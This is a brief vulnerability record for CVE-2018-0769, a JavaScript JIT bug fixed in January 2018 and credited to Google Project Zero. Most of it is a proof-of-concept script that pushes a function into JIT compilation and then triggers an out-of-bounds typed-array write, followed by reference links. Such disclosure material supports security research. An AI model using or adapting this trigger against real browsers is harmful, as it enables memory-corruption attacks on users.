CVE-2018-0769.md

CVE-2018-0769

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

Reference

• Microsoft
• Google Project Zero
• Fix